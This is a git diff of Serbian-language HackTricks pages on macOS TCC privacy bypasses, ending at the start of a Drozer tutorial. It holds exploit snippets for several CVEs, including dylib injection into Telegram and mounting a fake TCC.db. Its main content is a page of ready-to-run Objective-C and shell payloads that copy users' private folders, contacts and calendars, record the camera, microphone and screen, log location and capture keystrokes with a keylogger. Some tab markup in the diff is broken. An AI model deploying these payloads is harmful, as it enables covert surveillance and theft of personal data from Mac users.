Za više informacija o tome kako lako iskoristiti ovo [**proverite originalni izveštaj**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||||
|
|
||||||
### CVE-2020-10006
|
### CVE-2020-10006
|
||||||
|
@ -365,6 +380,7 @@ Binarni fajl `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` imao je
|
||||||
Telegram je imao dozvole **`com.apple.security.cs.allow-dyld-environment-variables`** i **`com.apple.security.cs.disable-library-validation`**, tako da je bilo moguće zloupotrebiti ih kako bi se **dobio pristup njenim dozvolama** poput snimanja kamerom. Možete [**pronaći payload u analizi**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
Telegram je imao dozvole **`com.apple.security.cs.allow-dyld-environment-variables`** i **`com.apple.security.cs.disable-library-validation`**, tako da je bilo moguće zloupotrebiti ih kako bi se **dobio pristup njenim dozvolama** poput snimanja kamerom. Možete [**pronaći payload u analizi**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||||
|
|
||||||
Primetite kako se koristi env promenljiva da bi se učitao library, kreiran je **custom plist** da bi se ubacio ovaj library i **`launchctl`** je korišćen da ga pokrene:
|
Primetite kako se koristi env promenljiva da bi se učitao library, kreiran je **custom plist** da bi se ubacio ovaj library i **`launchctl`** je korišćen da ga pokrene:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -394,6 +410,7 @@ Primetite kako se koristi env promenljiva da bi se učitao library, kreiran je *
|
||||||
```bash
|
```bash
|
||||||
launchctl load com.telegram.launcher.plist
|
launchctl load com.telegram.launcher.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
## Pomoću otvorenih poziva
|
## Pomoću otvorenih poziva
|
||||||
|
|
||||||
Moguće je pozvati **`open`** čak i dok je sandbox aktiviran
|
Moguće je pozvati **`open`** čak i dok je sandbox aktiviran
|
||||||
|
@ -403,6 +420,7 @@ Moguće je pozvati **`open`** čak i dok je sandbox aktiviran
|
||||||
Često je uobičajeno dati terminalu **Pristup punom disku (FDA)**, barem na računarima koje koriste tehničari. I moguće je pozvati skriptove **`.terminal`** koristeći ga.
|
Često je uobičajeno dati terminalu **Pristup punom disku (FDA)**, barem na računarima koje koriste tehničari. I moguće je pozvati skriptove **`.terminal`** koristeći ga.
|
||||||
|
|
||||||
**`.terminal`** skriptovi su plist fajlovi poput ovog sa komandom za izvršavanje u ključu **`CommandString`**:
|
**`.terminal`** skriptovi su plist fajlovi poput ovog sa komandom za izvršavanje u ključu **`CommandString`**:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -420,7 +438,9 @@ Moguće je pozvati **`open`** čak i dok je sandbox aktiviran
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom poput:
|
Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom poput:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// Write plist in /tmp/tcc.terminal
|
// Write plist in /tmp/tcc.terminal
|
||||||
[...]
|
[...]
|
||||||
|
@ -431,6 +451,7 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
||||||
exploit_location]; task.standardOutput = pipe;
|
exploit_location]; task.standardOutput = pipe;
|
||||||
[task launch];
|
[task launch];
|
||||||
```
|
```
|
||||||
|
|
||||||
## Montiranjem
|
## Montiranjem
|
||||||
|
|
||||||
### CVE-2020-9771 - TCC zaobilazak i eskalacija privilegija putem montiranja `mount_apfs`
|
### CVE-2020-9771 - TCC zaobilazak i eskalacija privilegija putem montiranja `mount_apfs`
|
||||||
|
@ -465,6 +486,7 @@ Detaljnije objašnjenje možete [**pronaći u originalnom izveštaju**](https://
|
||||||
### CVE-2021-1784 & CVE-2021-30808 - Montiranje preko TCC fajla
|
### CVE-2021-1784 & CVE-2021-30808 - Montiranje preko TCC fajla
|
||||||
|
|
||||||
Čak i ako je TCC DB fajl zaštićen, bilo je moguće **montirati preko direktorijuma** novi TCC.db fajl:
|
Čak i ako je TCC DB fajl zaštićen, bilo je moguće **montirati preko direktorijuma** novi TCC.db fajl:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# CVE-2021-1784
|
# CVE-2021-1784
|
||||||
## Mount over Library/Application\ Support/com.apple.TCC
|
## Mount over Library/Application\ Support/com.apple.TCC
|
||||||
|
@ -474,7 +496,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
||||||
## Mount over ~/Library
|
## Mount over ~/Library
|
||||||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
```python
|
```python
|
||||||
# This was the python function to create the dmg
|
# This was the python function to create the dmg
|
||||||
def create_dmg():
|
def create_dmg():
|
||||||
|
@ -485,6 +507,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
||||||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||||
```
|
```
|
||||||
|
|
||||||
Proverite **potpunu eksploataciju** u [**originalnom writeup-u**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
Proverite **potpunu eksploataciju** u [**originalnom writeup-u**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||||
|
|
||||||
### asr
|
### asr
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS TCC Payloadi
|
# macOS TCC Payloads
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -22,6 +22,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Kopiraj `$HOME/Desktop` u `/tmp/desktop`.
|
Kopiraj `$HOME/Desktop` u `/tmp/desktop`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -57,6 +58,7 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Kopiraj `$HOME/Desktop` u `/tmp/desktop`.
|
Kopiraj `$HOME/Desktop` u `/tmp/desktop`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
```
|
```
|
||||||
|
@ -69,8 +71,11 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="undefined" %}
|
||||||
Kopiraj `$HOME/Documents` u `/tmp/documents`.
|
Kopiraj `$HOME/Documents` u `/tmp/documents`.
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -102,8 +107,11 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Kopiraj `$HOME/`Documents u `/tmp/documents`.
|
Kopiraj `$HOME/`Documents u `/tmp/documents`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Documents" "/tmp/documents"
|
cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
```
|
```
|
||||||
|
@ -118,6 +126,7 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Kopiraj `$HOME/Downloads` u `/tmp/downloads`.
|
Kopiraj `$HOME/Downloads` u `/tmp/downloads`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -153,6 +162,7 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Kopiraj `$HOME/Dowloads` u `/tmp/downloads`.
|
Kopiraj `$HOME/Dowloads` u `/tmp/downloads`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
```
|
```
|
||||||
|
@ -167,6 +177,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
|
Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -202,6 +213,7 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
|
Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
```
|
```
|
||||||
|
@ -216,6 +228,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
|
Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -251,6 +264,7 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
|
Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
```
|
```
|
||||||
|
@ -265,6 +279,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`.
|
Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -300,12 +315,15 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`.
|
Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||||
```
|
```
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC - Snimanje" %}
|
{% tab title="ObjetiveC - Snimanje" %}
|
||||||
Snimi 3 sekunde dug video i sačuvaj ga u **`/tmp/recording.mov`**
|
Snimi 3 sekunde dug video i sačuvaj ga u **`/tmp/recording.mov`**
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -385,6 +403,7 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="ObjectiveC - Provera" %}
|
{% tab title="ObjectiveC - Provera" %}
|
||||||
Proverite da li program ima pristup kameri.
|
Proverite da li program ima pristup kameri.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -418,20 +437,24 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Napravite fotografiju kamerom
|
Napravite fotografiju kamerom
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### Mikrofon
|
#### Mikrofon
|
||||||
|
|
||||||
* **Ovlašćenje**: **com.apple.security.device.audio-input**
|
* **Ovlašćenje**: **com.apple.security.device.audio-input**
|
||||||
* **TCC**: `kTCCServiceMicrophone`
|
* **TCC**: `kTCCServiceMicrophone`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC - Snimanje" %}
|
{% tab title="undefined" %}
|
||||||
Snimi 5 sekundi zvuka i sačuvaj ga u `/tmp/recording.m4a`
|
Snimi 5 sekundi zvuka i sačuvaj ga u `/tmp/recording.m4a`
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -528,8 +551,11 @@ AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="ObjectiveC - Provera" %}
|
{% tab title="ObjectiveC - Provera" %}
|
||||||
Proverite da li aplikacija ima pristup mikrofonu.
|
Proverite da li aplikacija ima pristup mikrofonu.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -561,6 +587,7 @@ static void telegram(int argc, const char **argv) {
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Snimi 5s audio i sačuvaj ga u `/tmp/recording.wav`
|
Snimi 5s audio i sačuvaj ga u `/tmp/recording.wav`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check the microphones
|
# Check the microphones
|
||||||
ffmpeg -f avfoundation -list_devices true -i ""
|
ffmpeg -f avfoundation -list_devices true -i ""
|
||||||
|
@ -570,7 +597,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### Lokacija
|
#### Lokacija
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i Sigurnost) **mora biti omogućeno,** inače neće biti u mogućnosti pristupiti joj.
|
Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i Sigurnost) **mora biti omogućeno,** inače neće biti u mogućnosti pristupiti joj.
|
||||||
|
@ -582,6 +609,7 @@ Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i S
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
Zapiši lokaciju u `/tmp/logs.txt`
|
Zapiši lokaciju u `/tmp/logs.txt`
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -632,13 +660,14 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Dobijte pristup lokaciji
|
Dobijte pristup lokaciji
|
||||||
|
|
||||||
```
|
```
|
||||||
???
|
???
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### Snimanje ekrana
|
#### Snimanje ekrana
|
||||||
|
|
||||||
* **Ovlašćenje**: Nijedno
|
* **Ovlašćenje**: Nijedno
|
||||||
* **TCC**: `kTCCServiceScreenCapture`
|
* **TCC**: `kTCCServiceScreenCapture`
|
||||||
|
@ -646,6 +675,7 @@ Dobijte pristup lokaciji
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
Snimite glavni ekran 5 sekundi u `/tmp/screen.mov`
|
Snimite glavni ekran 5 sekundi u `/tmp/screen.mov`
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -703,18 +733,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Snimi glavni ekran 5 sekundi
|
Snimi glavni ekran 5 sekundi
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
screencapture -V 5 /tmp/screen.mov
|
screencapture -V 5 /tmp/screen.mov
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### Pristupačnost
|
#### Pristupačnost
|
||||||
|
|
||||||
* **Ovlašćenje**: Nijedno
|
* **Ovlašćenje**: Nijedno
|
||||||
* **TCC**: `kTCCServiceAccessibility`
|
* **TCC**: `kTCCServiceAccessibility`
|
||||||
|
|
||||||
Koristite TCC privilegiju da prihvatite kontrolu nad Finderom pritiskom na enter i na taj način zaobiđete TCC.
|
Koristite TCC privilegiju da prihvatite kontrolu nad Finderom pritiskom na enter i na taj način zaobiđete TCC.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -769,6 +801,7 @@ return 0;
|
||||||
|
|
||||||
{% tab title="Keylogger" %}
|
{% tab title="Keylogger" %}
|
||||||
Skladišti pritisnute tastere u **`/tmp/keystrokes.txt`**
|
Skladišti pritisnute tastere u **`/tmp/keystrokes.txt`**
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -888,7 +921,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Drozer Tutorijal
|
# Drozer Tutorial
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -25,60 +25,70 @@ Drugi načini podrške HackTricks-u:
|
||||||
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (od mrwlabs)
|
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (od mrwlabs)
|
||||||
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||||||
|
|
||||||
|
**Delovi ovog tutorijala su izvučeni iz** [**Drozer dokumentacije pdf-a**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
|
||||||
**Delovi ovog tutorijala su izvučeni iz [Drozer dokumentacije pdf-a](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf).**
|
|
||||||
|
|
||||||
## Instalacija
|
## Instalacija
|
||||||
|
|
||||||
Instalirajte Drozer Client na svom hostu. Preuzmite ga sa [najnovijih izdanja](https://github.com/mwrlabs/drozer/releases).
|
Instalirajte Drozer Client na svom hostu. Preuzmite ga sa [najnovijih izdanja](https://github.com/mwrlabs/drozer/releases).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install drozer-2.4.4-py2-none-any.whl
|
pip install drozer-2.4.4-py2-none-any.whl
|
||||||
pip install twisted
|
pip install twisted
|
||||||
pip install service_identity
|
pip install service_identity
|
||||||
```
|
```
|
||||||
|
|
||||||
Preuzmite i instalirajte drozer APK sa [najnovijim izdanjima](https://github.com/mwrlabs/drozer/releases). Trenutno je to [ovo](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
